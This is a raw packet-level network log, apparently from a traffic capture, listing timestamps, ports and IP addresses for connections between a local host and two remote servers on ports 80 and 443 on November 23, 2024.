Nov 23, 2024 18:22:12.268563986 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.268564939 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.269264936 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.269332886 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.269361019 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.269471884 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.269634962 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.269654989 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.269664049 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.269670963 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.270091057 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.270178080 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.270203114 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.270243883 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.270972013 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.270984888 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.271054983 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.274921894 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.275110960 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.275166035 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.277889967 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.277936935 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.278012037 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.278117895 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.278141022 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.278152943 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.278158903 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.280282021 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.280314922 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.280380964 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.282504082 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.282520056 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.282649994 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.282664061 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.284984112 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.285015106 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.285089970 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.286346912 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.286360979 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.435446024 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.435532093 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.435657978 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.435733080 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.435847044 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.435885906 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.436192036 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.436312914 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.436790943 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.436851025 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.436925888 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.436990023 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.437589884 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.437668085 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.437792063 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.437841892 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.437844992 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.437899113 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.438565016 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.438648939 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.438694954 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.438765049 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.439449072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.439496040 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.439543009 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.439600945 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.440267086 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.440331936 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.440396070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.440485001 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.441112995 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.441181898 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.441313028 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.441359043 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.441962957 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.442020893 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.442084074 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.442181110 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.442846060 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.442903996 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.442961931 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.443042040 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.443665981 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.443723917 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.443785906 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.443869114 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.444520950 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.444592953 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.444658041 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.444713116 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.445390940 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.445441961 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.445521116 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.445571899 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.446243048 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.446331024 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.446360111 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.446413040 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.447074890 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.447187901 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.447220087 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.447237968 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.447951078 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.447988033 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.448056936 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.448106050 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.448815107 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.448895931 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.448924065 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.448976994 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.449639082 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.449717999 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.449749947 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.449810028 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.450468063 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.450566053 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.450567961 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.450607061 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.451472044 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.451587915 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.451617956 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.451651096 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.452177048 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.452280998 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.452287912 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.452353954 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.453005075 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.453054905 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.453224897 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.453267097 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.453880072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.453969002 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.454087973 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.454147100 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.454715014 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.454771996 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.454827070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.454898119 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.455578089 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.455635071 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.455707073 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.455768108 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.456532955 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.456573009 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.456629992 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.456743956 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.457360983 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.457448006 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.457474947 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.457535982 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.458158016 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.458250046 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.458302021 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.458385944 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.459064960 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.459116936 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.459145069 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.459239006 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.459844112 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.459903955 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.459958076 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.460036993 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.460685968 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.460753918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.460789919 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.460938931 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.461539984 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.461586952 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.461663008 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.461714983 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.462414980 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.462481022 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.462604046 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.462701082 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.463562965 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.463654041 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.463659048 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.463713884 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.464209080 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.464270115 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.464361906 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.464422941 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.464993954 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.465043068 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.465074062 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.465130091 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.465807915 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.465878010 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.466016054 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.466053009 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.466681004 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.466794968 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.466826916 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.466826916 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.467762947 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.467803001 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.467808008 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.467847109 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.468367100 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.468430996 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.468461037 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.468550920 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.469286919 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.469356060 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.469602108 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.469707012 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.470731020 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.470786095 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.470817089 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.470884085 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.471488953 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.471573114 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.471574068 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.471615076 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.472254992 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.472368002 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.472368002 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.472486973 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.472817898 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.472861052 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.472893953 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.472953081 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.473479986 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.473563910 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.473573923 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.473640919 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.474328995 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.474412918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.474490881 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.474540949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.475195885 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.475275993 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.475361109 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.475406885 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.476042032 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.476186037 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.476218939 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.476346016 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.476867914 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.476967096 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.476989985 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.477109909 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.477760077 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.477822065 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.477915049 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.477962017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.478591919 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.478657007 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.478780985 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.478841066 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.479456902 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.479537010 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.479626894 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.479677916 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.627429008 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.627504110 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.627633095 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.627718925 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.627824068 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.627824068 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.627850056 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.627903938 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.627938986 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.627993107 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.628731966 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.628776073 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.628838062 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.628884077 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.629549026 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.629599094 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.629695892 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.629715919 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.629807949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.629807949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.630542040 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.630629063 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.630656004 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.630717039 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.631380081 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.631427050 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.631442070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.631570101 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.632257938 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.632301092 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.632390022 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.632486105 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.633099079 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.633196115 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.633215904 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.633310080 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.633960009 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.634011984 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.634032011 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.634176970 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.634813070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.634856939 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.634881973 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.634932995 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.635652065 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.635727882 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.635821104 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.635893106 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.636533976 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.636651993 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.636672020 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.636693001 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.637407064 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.637500048 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.637507915 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.637557983 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.638214111 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.638326883 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.638493061 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.638536930 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.639106035 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.639139891 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.639277935 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.639336109 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.639923096 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.640002966 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.640029907 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.640140057 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.640788078 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.640882015 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.640892982 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.640971899 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.641622066 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.641665936 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.641721010 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.641854048 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.642477989 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.642543077 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.642549038 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.642627001 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.643321991 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.643368959 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.643467903 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.643517971 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.644206047 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.644253969 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.644402027 CET	80	49755	185.215.113.16	192.168.2.4
